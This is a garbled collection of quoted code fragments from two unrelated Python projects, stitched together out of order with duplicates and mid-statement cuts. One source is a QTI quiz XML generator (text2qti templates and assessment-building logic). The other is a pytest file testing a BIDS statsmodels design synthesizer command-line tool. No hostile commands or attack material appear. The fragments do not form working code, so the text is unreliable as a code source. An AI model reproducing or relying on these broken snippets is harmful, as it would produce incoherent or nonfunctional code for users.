feedbacktype=\"Response\"", "Change for Schoology CC Import if question.type == 'multiple_choice_question': typechange", "ident=\"answer1\"/> </render_fib> </response_str> </presentation> ''' ITEM_RESPROCESSING_START = '''\\ <resprocessing> <outcomes>", "''' ITEM_METADATA_MCTF_SHORTANS_MULTANS_NUM = '''\\ <itemmetadata> <qtimetadata> <qtimetadatafield> <fieldlabel>cc_profile</fieldlabel> <fieldentry>{question_type}</fieldentry> </qtimetadatafield>", "in question.choices: if choice.feedback_raw is not None: xml.append(ITEM_FEEDBACK_MCTF_SHORTANS_MULTANS_NUM_INDIVIDUAL.format(ident=f'text2qti_choice_{choice.id}', feedback=choice.feedback_html_xml)) xml.append(END_ITEM)", "</qtimetadatafield> </qtimetadata> <section ident=\"root_section\"> ''' AFTER_ITEMS = '''\\ </section> </assessment>", "<respcondition continue=\"No\"> <conditionvar> <varequal respident=\"response1\">{ident}</varequal> </conditionvar> <setvar action=\"Set\" varname=\"SCORE\">100</setvar> </respcondition>", "in question.choices: varequal.append(ITEM_RESPROCESSING_SHORTANS_SET_CORRECT_VAREQUAL.format(answer_xml=choice.choice_xml)) if question.correct_feedback_raw is not None: resprocessing.append(ITEM_RESPROCESSING_SHORTANS_SET_CORRECT_WITH_FEEDBACK.format(varequal='\\n'.join(varequal))) else:", "action=\"Set\" varname=\"SCORE\">100</setvar> <displayfeedback feedbacktype=\"Response\" linkrefid=\"correct_fb\"/> </respcondition> ''' ITEM_RESPROCESSING_SHORTANS_SET_CORRECT_NO_FEEDBACK = '''\\", "TypeError question = question_or_delim xml.append(START_ITEM.format(question_identifier=f'text2qti_question_{question.id}', question_title=question.title_xml)) if question.type in ('true_false_question',", "BEFORE_ITEMS = '''\\ <?xml version=\"1.0\" encoding=\"UTF-8\"?> <questestinterop xmlns=\"http://www.imsglobal.org/xsd/ims_qtiasiv1p2\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://www.imsglobal.org/xsd/ims_qtiasiv1p2", "correct_choice is None: raise TypeError resprocessing = [] resprocessing.append(ITEM_RESPROCESSING_START) if", "ident=\"{ident}\" title=\"{group_title}\"> <selection_ordering> <selection> <selection_number>{pick}</selection_number> <selection_extension> <points_per_item>{points_per_item}</points_per_item> </selection_extension> </selection> </selection_ordering>", "respident=\"response1\">{num_min}</vargte> <varlte respident=\"response1\">{num_max}</varlte> </and> </or> </conditionvar> <setvar action=\"Set\" varname=\"SCORE\">100</setvar> <displayfeedback", "= 'cc.true_false.v0p1' elif question.type == 'short_answer_question': typechange = 'cc.fib.v0p1' elif", "</and> </conditionvar> <setvar action=\"Set\" varname=\"SCORE\">100</setvar> <displayfeedback feedbacktype=\"Response\" linkrefid=\"correct_fb\"/> </respcondition> '''", "http://www.imsglobal.org/profile/cc/ccv1p2/ccv1p2_qtiasiv1p2p1_v1p0.xsd\"> <assessment ident=\"{assessment_identifier}\" title=\"{title}\"> <qtimetadata> <qtimetadatafield> <fieldlabel>cc_maxattempts</fieldlabel> <fieldentry>1</fieldentry> </qtimetadatafield> <qtimetadatafield>", "title=\"{group_title}\"> <selection_ordering> <selection> <selection_number>{pick}</selection_number> <selection_extension> <points_per_item>{points_per_item}</points_per_item> </selection_extension> </selection> </selection_ordering> '''", "<fieldentry> Examination </fieldentry> </qtimetadatafield> </qtimetadata> <section ident=\"root_section\"> ''' AFTER_ITEMS =", "</itemfeedback> ''' ITEM_FEEDBACK_MCTF_SHORTANS_MULTANS_NUM_INDIVIDUAL = '''\\ <itemfeedback ident=\"{ident}_fb\"> <flow_mat> <material> <mattext", "<conditionvar> {varequal} </conditionvar> <setvar action=\"Set\" varname=\"SCORE\">100</setvar> <displayfeedback feedbacktype=\"Response\" linkrefid=\"correct_fb\"/> </respcondition>", "<displayfeedback feedbacktype=\"Response\" linkrefid=\"correct_fb\"/> </respcondition> ''' ITEM_RESPROCESSING_NUM_RANGE_SET_CORRECT_NO_FEEDBACK = '''\\ <respcondition continue=\"No\">", "</conditionvar> <setvar action=\"Set\" varname=\"SCORE\">100</setvar> </respcondition> ''' ITEM_RESPROCESSING_SHORTANS_SET_CORRECT_VAREQUAL = '''\\ <varequal", "xml.append(BEFORE_ITEMS.format(assessment_identifier=assessment_identifier, title=title_xml)) for question_or_delim in quiz.questions_and_delims: if isinstance(question_or_delim, TextRegion): xml.append(TEXT.format(ident=f'text2qti_text_{question_or_delim.id}',", "xml.append(ITEM_PRESENTATION_ESSAY.format(question_html_xml=question.question_html_xml)) elif question.type == 'file_upload_question': xml.append(ITEM_PRESENTATION_UPLOAD.format(question_html_xml=question.question_html_xml)) else: raise ValueError if", "question.feedback_raw is not None: xml.append(ITEM_RESPROCESSING_NUM_GENERAL_FEEDBACK) if question.correct_feedback_raw is None: if", "feedbacktype=\"Response\" linkrefid=\"correct_fb\"/> </respcondition> ''' ITEM_RESPROCESSING_MCTF_SET_CORRECT_NO_FEEDBACK = '''\\ <respcondition continue=\"No\"> <conditionvar>", "<render_fib> <response_label ident=\"answer1\" rshuffle=\"No\"/> </render_fib> </response_str> </presentation> ''' ITEM_PRESENTATION_UPLOAD =", "</material> </response_label>''' ITEM_PRESENTATION_MULTANS = ITEM_PRESENTATION_MCTF.replace('Single', 'Multiple') ITEM_PRESENTATION_MULTANS_CHOICE = ITEM_PRESENTATION_MCTF_CHOICE ITEM_PRESENTATION_SHORTANS", "question.correct_feedback_raw is not None: resprocessing.append(ITEM_RESPROCESSING_MULTANS_SET_CORRECT_WITH_FEEDBACK.format(varequal='\\n'.join(varequal))) else: resprocessing.append(ITEM_RESPROCESSING_MULTANS_SET_CORRECT_NO_FEEDBACK.format(varequal='\\n'.join(varequal))) if question.incorrect_feedback_raw is", "is not None: xml.append(ITEM_RESPROCESSING_NUM_GENERAL_FEEDBACK) if question.correct_feedback_raw is None: if question.numerical_exact", "xml.append(item_resprocessing_num_set_correct.format(num_min=question.numerical_min_html_xml, num_exact=question.numerical_exact_html_xml, num_max=question.numerical_max_html_xml)) if question.incorrect_feedback_raw is not None: xml.append(ITEM_RESPROCESSING_NUM_INCORRECT_FEEDBACK) xml.append(ITEM_RESPROCESSING_END)", "action=\"Set\" varname=\"SCORE\">100</setvar> <displayfeedback feedbacktype=\"Response\" linkrefid=\"correct_fb\"/> </respcondition> ''' ITEM_RESPROCESSING_MCTF_SET_CORRECT_NO_FEEDBACK = '''\\", "ITEM_PRESENTATION_MULTANS else: raise ValueError choices = '\\n'.join(item_presentation_choice.format(ident=f'text2qti_choice_{c.id}', choice_html_xml=c.choice_html_xml) for c", "ITEM_RESPROCESSING_SHORTANS_SET_CORRECT_NO_FEEDBACK = '''\\ <respcondition continue=\"No\"> <conditionvar> {varequal} </conditionvar> <setvar action=\"Set\"", "<mattext texttype=\"text/html\">{feedback}</mattext> </material> </flow_mat> </itemfeedback> ''' def assessment(*, quiz: Quiz,", "texttype=\"text/html\">{question_html_xml}</mattext> </material> <response_lid ident=\"response1\" rcardinality=\"Single\"> <render_choice> {choices} </render_choice> </response_lid> </presentation>", "'file_upload_question': xml.append(ITEM_RESPROCESSING_START) if question.feedback_raw is not None: xml.append(ITEM_RESPROCESSING_UPLOAD_GENERAL_FEEDBACK) xml.append(ITEM_RESPROCESSING_END) else:", "not None: resprocessing.append(ITEM_RESPROCESSING_SHORTANS_GENERAL_FEEDBACK) for choice in question.choices: if choice.feedback_raw is", "''' def assessment(*, quiz: Quiz, assessment_identifier: str, title_xml: str) ->", "choices=choices)) elif question.type == 'short_answer_question': xml.append(ITEM_PRESENTATION_SHORTANS.format(question_html_xml=question.question_html_xml)) elif question.type == 'numerical_question':", "not None: resprocessing.append(ITEM_RESPROCESSING_MCTF_CHOICE_FEEDBACK.format(ident=f'text2qti_choice_{choice.id}')) if question.correct_feedback_raw is not None: resprocessing.append(ITEM_RESPROCESSING_MCTF_SET_CORRECT_WITH_FEEDBACK.format(ident=f'text2qti_choice_{correct_choice.id}')) else:", "assessment(*, quiz: Quiz, assessment_identifier: str, title_xml: str) -> str: '''", "resprocessing.append(ITEM_RESPROCESSING_SHORTANS_SET_CORRECT_WITH_FEEDBACK.format(varequal='\\n'.join(varequal))) else: resprocessing.append(ITEM_RESPROCESSING_SHORTANS_SET_CORRECT_NO_FEEDBACK.format(varequal='\\n'.join(varequal))) if question.incorrect_feedback_raw is not None: resprocessing.append(ITEM_RESPROCESSING_SHORTANS_INCORRECT_FEEDBACK) resprocessing.append(ITEM_RESPROCESSING_END)", "<fieldlabel>cc_maxattempts</fieldlabel> <fieldentry>1</fieldentry> </qtimetadatafield> <qtimetadatafield> <fieldlabel> cc_profile </fieldlabel> <fieldentry> cc.exam.v0p1 </fieldentry>", "<assessment ident=\"{assessment_identifier}\" title=\"{title}\"> <qtimetadata> <qtimetadatafield> <fieldlabel>cc_maxattempts</fieldlabel> <fieldentry>1</fieldentry> </qtimetadatafield> <qtimetadatafield> <fieldlabel>", "title=\"{question_title}\"> ''' END_ITEM = '''\\ </item> ''' ITEM_METADATA_MCTF_SHORTANS_MULTANS_NUM = '''\\", "Question): raise TypeError question = question_or_delim xml.append(START_ITEM.format(question_identifier=f'text2qti_question_{question.id}', question_title=question.title_xml)) if question.type", "resprocessing.append(ITEM_RESPROCESSING_START) if question.feedback_raw is not None: resprocessing.append(ITEM_RESPROCESSING_SHORTANS_GENERAL_FEEDBACK) for choice in", "else: raise ValueError if question.type in ('true_false_question', 'multiple_choice_question', 'short_answer_question', 'multiple_answers_question',", "(c) 2020, <NAME> # All rights reserved. # # Licensed", "if choice.feedback_raw is not None: xml.append(ITEM_FEEDBACK_MCTF_SHORTANS_MULTANS_NUM_INDIVIDUAL.format(ident=f'text2qti_choice_{choice.id}', feedback=choice.feedback_html_xml)) xml.append(END_ITEM) xml.append(AFTER_ITEMS) return", "continue=\"No\"> <conditionvar> <other/> </conditionvar> </respcondition> ''' ITEM_RESPROCESSING_END = '''\\ </resprocessing>", "question.incorrect_feedback_raw is not None: resprocessing.append(ITEM_RESPROCESSING_MULTANS_INCORRECT_FEEDBACK) resprocessing.append(ITEM_RESPROCESSING_END) xml.extend(resprocessing) elif question.type ==", "''' GROUP_START = '''\\ <section ident=\"{ident}\" title=\"{group_title}\"> <selection_ordering> <selection> <selection_number>{pick}</selection_number>", "ITEM_RESPROCESSING_MULTANS_GENERAL_FEEDBACK = ITEM_RESPROCESSING_MCTF_GENERAL_FEEDBACK ITEM_RESPROCESSING_MULTANS_CHOICE_FEEDBACK = ITEM_RESPROCESSING_MCTF_CHOICE_FEEDBACK ITEM_RESPROCESSING_MULTANS_SET_CORRECT_WITH_FEEDBACK = '''\\ <respcondition", "None: item_resprocessing_num_set_correct = ITEM_RESPROCESSING_NUM_RANGE_SET_CORRECT_WITH_FEEDBACK else: item_resprocessing_num_set_correct = ITEM_RESPROCESSING_NUM_EXACT_SET_CORRECT_WITH_FEEDBACK xml.append(item_resprocessing_num_set_correct.format(num_min=question.numerical_min_html_xml, num_exact=question.numerical_exact_html_xml,", "ITEM_RESPROCESSING_NUM_EXACT_SET_CORRECT_WITH_FEEDBACK = '''\\ <respcondition continue=\"No\"> <conditionvar> <or> <varequal respident=\"response1\">{num_exact}</varequal> <and>", "</material> </presentation> ''' ITEM_PRESENTATION_NUM = '''\\ <presentation> <material> <mattext texttype=\"text/html\">{question_html_xml}</mattext>", "question.type in ('true_false_question', 'multiple_choice_question'): correct_choice = None for choice in", "ITEM_PRESENTATION_MCTF.replace('Single', 'Multiple') ITEM_PRESENTATION_MULTANS_CHOICE = ITEM_PRESENTATION_MCTF_CHOICE ITEM_PRESENTATION_SHORTANS = '''\\ <presentation> <material>", "= '''\\ <resprocessing> <outcomes> <decvar maxvalue=\"100\" minvalue=\"0\" varname=\"SCORE\" vartype=\"Decimal\"/> </outcomes>", "''' ITEM_RESPROCESSING_MCTF_SET_CORRECT_NO_FEEDBACK = '''\\ <respcondition continue=\"No\"> <conditionvar> <varequal respident=\"response1\">{ident}</varequal> </conditionvar>", "</material> </flow_mat> </itemfeedback> ''' ITEM_FEEDBACK_MCTF_SHORTANS_MULTANS_NUM_INCORRECT = '''\\ <itemfeedback ident=\"general_incorrect_fb\"> <flow_mat>", "TextRegion): xml.append(TEXT.format(ident=f'text2qti_text_{question_or_delim.id}', text_title_xml=question_or_delim.title_xml, assessment_question_identifierref=f'text2qti_question_ref_{question_or_delim.id}', text_html_xml=question_or_delim.text_html_xml)) continue if isinstance(question_or_delim, GroupStart): xml.append(GROUP_START.format(ident=f'text2qti_group_{question_or_delim.group.id}',", "num_exact=question.numerical_exact_html_xml, num_max=question.numerical_max_html_xml)) if question.incorrect_feedback_raw is not None: xml.append(ITEM_RESPROCESSING_NUM_INCORRECT_FEEDBACK) xml.append(ITEM_RESPROCESSING_END) elif", "question.choices: if choice.feedback_raw is not None: resprocessing.append(ITEM_RESPROCESSING_SHORTANS_CHOICE_FEEDBACK.format(ident=f'text2qti_choice_{choice.id}', answer_xml=choice.choice_xml)) varequal =", "= '''\\ <not> <varequal respident=\"response1\">{ident}</varequal> </not>''' ITEM_RESPROCESSING_MULTANS_INCORRECT_FEEDBACK = ITEM_RESPROCESSING_MCTF_INCORRECT_FEEDBACK ITEM_RESPROCESSING_ESSAY_GENERAL_FEEDBACK", "</fieldentry> </qtimetadatafield> </qtimetadata> <section ident=\"root_section\"> ''' AFTER_ITEMS = '''\\ </section>", "</qtimetadatafield> <qtimetadatafield> <fieldlabel>points_possible</fieldlabel> <fieldentry>{points_possible}</fieldentry> </qtimetadatafield> <qtimetadatafield> <fieldlabel>original_answer_ids</fieldlabel> <fieldentry>{original_answer_ids}</fieldentry> </qtimetadatafield> <qtimetadatafield>", "continue=\"Yes\"> <conditionvar> <varequal respident=\"response1\">{answer_xml}</varequal> </conditionvar> <displayfeedback feedbacktype=\"Response\" linkrefid=\"{ident}_fb\"/> </respcondition> '''", "'''\\ <itemfeedback ident=\"correct_fb\"> <flow_mat> <material> <mattext texttype=\"text/html\">{feedback}</mattext> </material> </flow_mat> </itemfeedback>", "'file_upload_question': item_metadata = ITEM_METADATA_UPLOAD original_answer_ids = f'text2qti_upload_{question.id}' else: raise ValueError", "question.type == 'multiple_answers_question': typechange = 'cc.multiple_response.v0p1' elif question.type == 'essay_question':", "'''\\ <respcondition continue=\"Yes\"> <conditionvar> <varequal respident=\"response1\">{ident}</varequal> </conditionvar> <displayfeedback feedbacktype=\"Response\" linkrefid=\"{ident}_fb\"/>", "if isinstance(question_or_delim, GroupStart): xml.append(GROUP_START.format(ident=f'text2qti_group_{question_or_delim.group.id}', group_title=question_or_delim.group.title_xml, pick=question_or_delim.group.pick, points_per_item=question_or_delim.group.points_per_question)) continue if isinstance(question_or_delim,", "xml.append(ITEM_RESPROCESSING_START) if question.feedback_raw is not None: xml.append(ITEM_RESPROCESSING_UPLOAD_GENERAL_FEEDBACK) xml.append(ITEM_RESPROCESSING_END) else: raise", "<displayfeedback feedbacktype=\"Response\" linkrefid=\"correct_fb\"/> </respcondition> ''' ITEM_RESPROCESSING_NUM_EXACT_SET_CORRECT_NO_FEEDBACK = '''\\ <respcondition continue=\"No\">" ]
[ "from bids_statsmodels_design_synthesizer import Path(SYNTHESIZER).stem as synth_mod EXAMPLE_USER_ARGS = { \"OUTPUT_TSV\":", "subprocess as sp from pathlib import Path SYNTHESIZER = \"aggregate_stats_design.py\"", "this line https://github.com/bids-standard/pybids/blob/b6cd0f6787230ce976a374fbd5fce650865752a3/bids/analysis/analysis.py#L282 \"\"\" bids_dir = Path(__file__).parent / \"data/ds000003\" model", "should be tweaked to have the conda env and the", "from bids.analysis import Analysis from bids.layout import BIDSLayout layout =", "to /bin/sh so this should be tweaked to have the", "SYNTHESIZER = \"aggregate_stats_design.py\" from bids_statsmodels_design_synthesizer import aggregate_stats_design as synth_mod #", "= sp.check_output([SYNTHESIZER, \"--non-existent\"]) def test_design_aggregation_function(): synth_mod.main(EXAMPLE_USER_ARGS) def test_minimal_cli_functionality(): \"\"\" We", "specifically we want to reimplement this line https://github.com/bids-standard/pybids/blob/b6cd0f6787230ce976a374fbd5fce650865752a3/bids/analysis/analysis.py#L282 \"\"\" bids_dir", "Path SYNTHESIZER = \"aggregate_stats_design.py\" from bids_statsmodels_design_synthesizer import aggregate_stats_design as synth_mod", "the contain to /bin/sh so this should be tweaked to", "import aggregate_stats_design as synth_mod # from bids_statsmodels_design_synthesizer import Path(SYNTHESIZER).stem as", "\"EVENTS_TSV\": \"data/ds000003/sub-01/func/sub-01_task-rhymejudgment_events.tsv\", \"DURATION\": 320, } def test_cli_help(): with pytest.raises(sp.CalledProcessError): output", "package working correctly\"\"\" boutiques_dir = Path(__file__).parent.parent / \"boutiques\" cmd =", "so this should be tweaked to have the conda env", "package.\"\"\" import pytest import subprocess as sp from pathlib import", "\"data/ds000003/models/model-001_smdl.json\", \"EVENTS_TSV\": \"data/ds000003/sub-01/func/sub-01_task-rhymejudgment_events.tsv\", \"DURATION\": 320, } def test_cli_help(): with pytest.raises(sp.CalledProcessError):", "Path(__file__).parent.parent / \"boutiques\" cmd = f\"\"\" bosh exec launch {boutiques_dir}/bids-app-bids-statsmodels-design-synthesizer.json", "sp from pathlib import Path SYNTHESIZER = \"aggregate_stats_design.py\" from bids_statsmodels_design_synthesizer", "test_design_aggregation_function(): synth_mod.main(EXAMPLE_USER_ARGS) def test_minimal_cli_functionality(): \"\"\" We roughly want to implement", "model = \"model-001_smdl.json\" arg_list = \" \" .join([f\"\"\"--{k.lower().replace(\"_\",\"-\")}={v}\"\"\" for k,v", "= f\"{SYNTHESIZER} {arg_list}\" output = sp.check_output(cmd.split()) @pytest.mark.xfail(reason=\"Container not setup for", "installed package working correctly\"\"\" boutiques_dir = Path(__file__).parent.parent / \"boutiques\" cmd", "to reimplement this line https://github.com/bids-standard/pybids/blob/b6cd0f6787230ce976a374fbd5fce650865752a3/bids/analysis/analysis.py#L282 \"\"\" bids_dir = Path(__file__).parent /", "with pytest.raises(sp.CalledProcessError): output = sp.check_output([SYNTHESIZER, \"-h\"]) with pytest.raises(sp.CalledProcessError): output =", "might be nice to do. boutiques sets /bin/sh as the", ".join([f\"\"\"--{k.lower().replace(\"_\",\"-\")}={v}\"\"\" for k,v in EXAMPLE_USER_ARGS.items()]) cmd = f\"{SYNTHESIZER} {arg_list}\" output", "320, } def test_cli_help(): with pytest.raises(sp.CalledProcessError): output = sp.check_output([SYNTHESIZER, \"-h\"])", "\"model-001_smdl.json\" arg_list = \" \" .join([f\"\"\"--{k.lower().replace(\"_\",\"-\")}={v}\"\"\" for k,v in EXAMPLE_USER_ARGS.items()])", "Analysis from bids.layout import BIDSLayout layout = BIDSLayout(\"data/ds000003\") analysis =", "of the following: from bids.analysis import Analysis from bids.layout import", "@pytest.mark.xfail(reason=\"Container not setup for boutiques yet\") def test_minimal_cli_functionality_using_boutiques(): \"\"\"This might", "boutiques yet\") def test_minimal_cli_functionality_using_boutiques(): \"\"\"This might be nice to do.", "sp.check_output([SYNTHESIZER, \"-h\"]) with pytest.raises(sp.CalledProcessError): output = sp.check_output([SYNTHESIZER, \"--non-existent\"]) def test_design_aggregation_function():", "output = sp.check_output([SYNTHESIZER, \"-h\"]) with pytest.raises(sp.CalledProcessError): output = sp.check_output([SYNTHESIZER, \"--non-existent\"])", "have the conda env and the pip installed package working", "= \"aggregate_stats_design.py\" from bids_statsmodels_design_synthesizer import aggregate_stats_design as synth_mod # from", "\"boutiques\" cmd = f\"\"\" bosh exec launch {boutiques_dir}/bids-app-bids-statsmodels-design-synthesizer.json {boutiques_dir}/invocation.json \"\"\"", "reimplement this line https://github.com/bids-standard/pybids/blob/b6cd0f6787230ce976a374fbd5fce650865752a3/bids/analysis/analysis.py#L282 \"\"\" bids_dir = Path(__file__).parent / \"data/ds000003\"", "bids_statsmodels_design_synthesizer import aggregate_stats_design as synth_mod # from bids_statsmodels_design_synthesizer import Path(SYNTHESIZER).stem", "roughly want to implement the equivalent of the following: from", "cmd = f\"\"\" bosh exec launch {boutiques_dir}/bids-app-bids-statsmodels-design-synthesizer.json {boutiques_dir}/invocation.json \"\"\" output", "aggregate_stats_design as synth_mod # from bids_statsmodels_design_synthesizer import Path(SYNTHESIZER).stem as synth_mod", "working correctly\"\"\" boutiques_dir = Path(__file__).parent.parent / \"boutiques\" cmd = f\"\"\"", "import Path SYNTHESIZER = \"aggregate_stats_design.py\" from bids_statsmodels_design_synthesizer import aggregate_stats_design as", "{ \"OUTPUT_TSV\": \"aggregated_design.tsv\", \"MODEL\": \"data/ds000003/models/model-001_smdl.json\", \"EVENTS_TSV\": \"data/ds000003/sub-01/func/sub-01_task-rhymejudgment_events.tsv\", \"DURATION\": 320, }", "pip installed package working correctly\"\"\" boutiques_dir = Path(__file__).parent.parent / \"boutiques\"", "do. boutiques sets /bin/sh as the entrypoint for the contain", "from pathlib import Path SYNTHESIZER = \"aggregate_stats_design.py\" from bids_statsmodels_design_synthesizer import", "for the contain to /bin/sh so this should be tweaked", "analysis = Analysis(model=\"data/ds000003/models/model-001_smdl.json\",layout=layout) analysis.setup() more specifically we want to reimplement", "pytest.raises(sp.CalledProcessError): output = sp.check_output([SYNTHESIZER, \"-h\"]) with pytest.raises(sp.CalledProcessError): output = sp.check_output([SYNTHESIZER,", "We roughly want to implement the equivalent of the following:", "analysis.setup() more specifically we want to reimplement this line https://github.com/bids-standard/pybids/blob/b6cd0f6787230ce976a374fbd5fce650865752a3/bids/analysis/analysis.py#L282", "output = sp.check_output(cmd.split()) @pytest.mark.xfail(reason=\"Container not setup for boutiques yet\") def", "nice to do. boutiques sets /bin/sh as the entrypoint for", "test_minimal_cli_functionality_using_boutiques(): \"\"\"This might be nice to do. boutiques sets /bin/sh", "for boutiques yet\") def test_minimal_cli_functionality_using_boutiques(): \"\"\"This might be nice to", "k,v in EXAMPLE_USER_ARGS.items()]) cmd = f\"{SYNTHESIZER} {arg_list}\" output = sp.check_output(cmd.split())", "in EXAMPLE_USER_ARGS.items()]) cmd = f\"{SYNTHESIZER} {arg_list}\" output = sp.check_output(cmd.split()) @pytest.mark.xfail(reason=\"Container", "= BIDSLayout(\"data/ds000003\") analysis = Analysis(model=\"data/ds000003/models/model-001_smdl.json\",layout=layout) analysis.setup() more specifically we want", "Path(__file__).parent / \"data/ds000003\" model = \"model-001_smdl.json\" arg_list = \" \"", "= \"model-001_smdl.json\" arg_list = \" \" .join([f\"\"\"--{k.lower().replace(\"_\",\"-\")}={v}\"\"\" for k,v in", "contain to /bin/sh so this should be tweaked to have", "\"\"\" bids_dir = Path(__file__).parent / \"data/ds000003\" model = \"model-001_smdl.json\" arg_list", "with pytest.raises(sp.CalledProcessError): output = sp.check_output([SYNTHESIZER, \"--non-existent\"]) def test_design_aggregation_function(): synth_mod.main(EXAMPLE_USER_ARGS) def", "the equivalent of the following: from bids.analysis import Analysis from", "{arg_list}\" output = sp.check_output(cmd.split()) @pytest.mark.xfail(reason=\"Container not setup for boutiques yet\")", "\"\"\" We roughly want to implement the equivalent of the", "tweaked to have the conda env and the pip installed", "bids_statsmodels_design_synthesizer import Path(SYNTHESIZER).stem as synth_mod EXAMPLE_USER_ARGS = { \"OUTPUT_TSV\": \"aggregated_design.tsv\",", "\"OUTPUT_TSV\": \"aggregated_design.tsv\", \"MODEL\": \"data/ds000003/models/model-001_smdl.json\", \"EVENTS_TSV\": \"data/ds000003/sub-01/func/sub-01_task-rhymejudgment_events.tsv\", \"DURATION\": 320, } def", "= Analysis(model=\"data/ds000003/models/model-001_smdl.json\",layout=layout) analysis.setup() more specifically we want to reimplement this", "as sp from pathlib import Path SYNTHESIZER = \"aggregate_stats_design.py\" from", "test_minimal_cli_functionality(): \"\"\" We roughly want to implement the equivalent of", "to have the conda env and the pip installed package", "as synth_mod # from bids_statsmodels_design_synthesizer import Path(SYNTHESIZER).stem as synth_mod EXAMPLE_USER_ARGS", "\"data/ds000003\" model = \"model-001_smdl.json\" arg_list = \" \" .join([f\"\"\"--{k.lower().replace(\"_\",\"-\")}={v}\"\"\" for", "def test_minimal_cli_functionality(): \"\"\" We roughly want to implement the equivalent", "from bids.layout import BIDSLayout layout = BIDSLayout(\"data/ds000003\") analysis = Analysis(model=\"data/ds000003/models/model-001_smdl.json\",layout=layout)", "https://github.com/bids-standard/pybids/blob/b6cd0f6787230ce976a374fbd5fce650865752a3/bids/analysis/analysis.py#L282 \"\"\" bids_dir = Path(__file__).parent / \"data/ds000003\" model = \"model-001_smdl.json\"", "\"\"\"This might be nice to do. boutiques sets /bin/sh as", "sp.check_output(cmd.split()) @pytest.mark.xfail(reason=\"Container not setup for boutiques yet\") def test_minimal_cli_functionality_using_boutiques(): \"\"\"This", "\"\"\"Tests for `bids_statsmodels_design_synthesizer` package.\"\"\" import pytest import subprocess as sp", "the conda env and the pip installed package working correctly\"\"\"", "= Path(__file__).parent / \"data/ds000003\" model = \"model-001_smdl.json\" arg_list = \"", "layout = BIDSLayout(\"data/ds000003\") analysis = Analysis(model=\"data/ds000003/models/model-001_smdl.json\",layout=layout) analysis.setup() more specifically we", "def test_minimal_cli_functionality_using_boutiques(): \"\"\"This might be nice to do. boutiques sets", "import Path(SYNTHESIZER).stem as synth_mod EXAMPLE_USER_ARGS = { \"OUTPUT_TSV\": \"aggregated_design.tsv\", \"MODEL\":", "BIDSLayout(\"data/ds000003\") analysis = Analysis(model=\"data/ds000003/models/model-001_smdl.json\",layout=layout) analysis.setup() more specifically we want to", "entrypoint for the contain to /bin/sh so this should be", "the following: from bids.analysis import Analysis from bids.layout import BIDSLayout", "\"-h\"]) with pytest.raises(sp.CalledProcessError): output = sp.check_output([SYNTHESIZER, \"--non-existent\"]) def test_design_aggregation_function(): synth_mod.main(EXAMPLE_USER_ARGS)", "= \" \" .join([f\"\"\"--{k.lower().replace(\"_\",\"-\")}={v}\"\"\" for k,v in EXAMPLE_USER_ARGS.items()]) cmd =", "sp.check_output([SYNTHESIZER, \"--non-existent\"]) def test_design_aggregation_function(): synth_mod.main(EXAMPLE_USER_ARGS) def test_minimal_cli_functionality(): \"\"\" We roughly", "pytest.raises(sp.CalledProcessError): output = sp.check_output([SYNTHESIZER, \"--non-existent\"]) def test_design_aggregation_function(): synth_mod.main(EXAMPLE_USER_ARGS) def test_minimal_cli_functionality():", "pathlib import Path SYNTHESIZER = \"aggregate_stats_design.py\" from bids_statsmodels_design_synthesizer import aggregate_stats_design", "line https://github.com/bids-standard/pybids/blob/b6cd0f6787230ce976a374fbd5fce650865752a3/bids/analysis/analysis.py#L282 \"\"\" bids_dir = Path(__file__).parent / \"data/ds000003\" model =", "/ \"boutiques\" cmd = f\"\"\" bosh exec launch {boutiques_dir}/bids-app-bids-statsmodels-design-synthesizer.json {boutiques_dir}/invocation.json", "= { \"OUTPUT_TSV\": \"aggregated_design.tsv\", \"MODEL\": \"data/ds000003/models/model-001_smdl.json\", \"EVENTS_TSV\": \"data/ds000003/sub-01/func/sub-01_task-rhymejudgment_events.tsv\", \"DURATION\": 320,", "this should be tweaked to have the conda env and", "want to implement the equivalent of the following: from bids.analysis", "synth_mod EXAMPLE_USER_ARGS = { \"OUTPUT_TSV\": \"aggregated_design.tsv\", \"MODEL\": \"data/ds000003/models/model-001_smdl.json\", \"EVENTS_TSV\": \"data/ds000003/sub-01/func/sub-01_task-rhymejudgment_events.tsv\",", "output = sp.check_output([SYNTHESIZER, \"--non-existent\"]) def test_design_aggregation_function(): synth_mod.main(EXAMPLE_USER_ARGS) def test_minimal_cli_functionality(): \"\"\"", "synth_mod.main(EXAMPLE_USER_ARGS) def test_minimal_cli_functionality(): \"\"\" We roughly want to implement the", "f\"{SYNTHESIZER} {arg_list}\" output = sp.check_output(cmd.split()) @pytest.mark.xfail(reason=\"Container not setup for boutiques", "the entrypoint for the contain to /bin/sh so this should", "sets /bin/sh as the entrypoint for the contain to /bin/sh", "import Analysis from bids.layout import BIDSLayout layout = BIDSLayout(\"data/ds000003\") analysis", "\" .join([f\"\"\"--{k.lower().replace(\"_\",\"-\")}={v}\"\"\" for k,v in EXAMPLE_USER_ARGS.items()]) cmd = f\"{SYNTHESIZER} {arg_list}\"", "setup for boutiques yet\") def test_minimal_cli_functionality_using_boutiques(): \"\"\"This might be nice", "/ \"data/ds000003\" model = \"model-001_smdl.json\" arg_list = \" \" .join([f\"\"\"--{k.lower().replace(\"_\",\"-\")}={v}\"\"\"", "and the pip installed package working correctly\"\"\" boutiques_dir = Path(__file__).parent.parent", "for k,v in EXAMPLE_USER_ARGS.items()]) cmd = f\"{SYNTHESIZER} {arg_list}\" output =", "import BIDSLayout layout = BIDSLayout(\"data/ds000003\") analysis = Analysis(model=\"data/ds000003/models/model-001_smdl.json\",layout=layout) analysis.setup() more", "/bin/sh so this should be tweaked to have the conda", "equivalent of the following: from bids.analysis import Analysis from bids.layout", "following: from bids.analysis import Analysis from bids.layout import BIDSLayout layout", "bids.layout import BIDSLayout layout = BIDSLayout(\"data/ds000003\") analysis = Analysis(model=\"data/ds000003/models/model-001_smdl.json\",layout=layout) analysis.setup()", "be nice to do. boutiques sets /bin/sh as the entrypoint", "def test_cli_help(): with pytest.raises(sp.CalledProcessError): output = sp.check_output([SYNTHESIZER, \"-h\"]) with pytest.raises(sp.CalledProcessError):", "from bids_statsmodels_design_synthesizer import aggregate_stats_design as synth_mod # from bids_statsmodels_design_synthesizer import", "python \"\"\"Tests for `bids_statsmodels_design_synthesizer` package.\"\"\" import pytest import subprocess as", "EXAMPLE_USER_ARGS = { \"OUTPUT_TSV\": \"aggregated_design.tsv\", \"MODEL\": \"data/ds000003/models/model-001_smdl.json\", \"EVENTS_TSV\": \"data/ds000003/sub-01/func/sub-01_task-rhymejudgment_events.tsv\", \"DURATION\":", "correctly\"\"\" boutiques_dir = 